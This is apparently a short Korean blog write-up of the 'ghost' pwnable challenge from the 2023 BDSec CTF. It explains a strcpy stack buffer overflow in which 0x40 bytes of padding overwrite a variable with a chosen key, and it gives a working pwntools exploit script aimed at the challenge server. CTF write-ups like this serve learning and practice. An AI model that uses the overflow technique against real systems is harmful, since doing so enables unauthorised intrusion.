2023 BDSec CTF 포너블 문제이다.
누가봐도 v5의 값을 bof로 바꾸면 플래그가 출력되는 문제인거 같다.
strcpy 함수로 src의 값을 dest 라는 변수에다가 넣기 때문에 스택 구조를 보면 A 값을 0x40만큼 dummy 값을 채우면 v5 변수에 원하는 값을 넣을 수 있다.
아래는 위의 공격 내용을 반영한 최종 익스플로잇 코드이다.
from pwn import *
#p = process("./ghost")
p = remote("139.144.184.150", 4000)
e = ELF("./ghost")
def log(n, m): return success(": ".join([n, hex(m)]))
context.log_level = 'debug'
key = 0x44434241
payload = b'A'*0x40
payload += p64(key)
p.sendline(payload)
p.interactive()
해당 코드를 실행하면 최종적으로 flag 값을 얻을 수 있다.
'CTF > BDSec CTF' 카테고리의 다른 글
callme - Pwnable (0) | 2023.07.21 |
---|---|
anyaForger - Pwnable (0) | 2023.07.21 |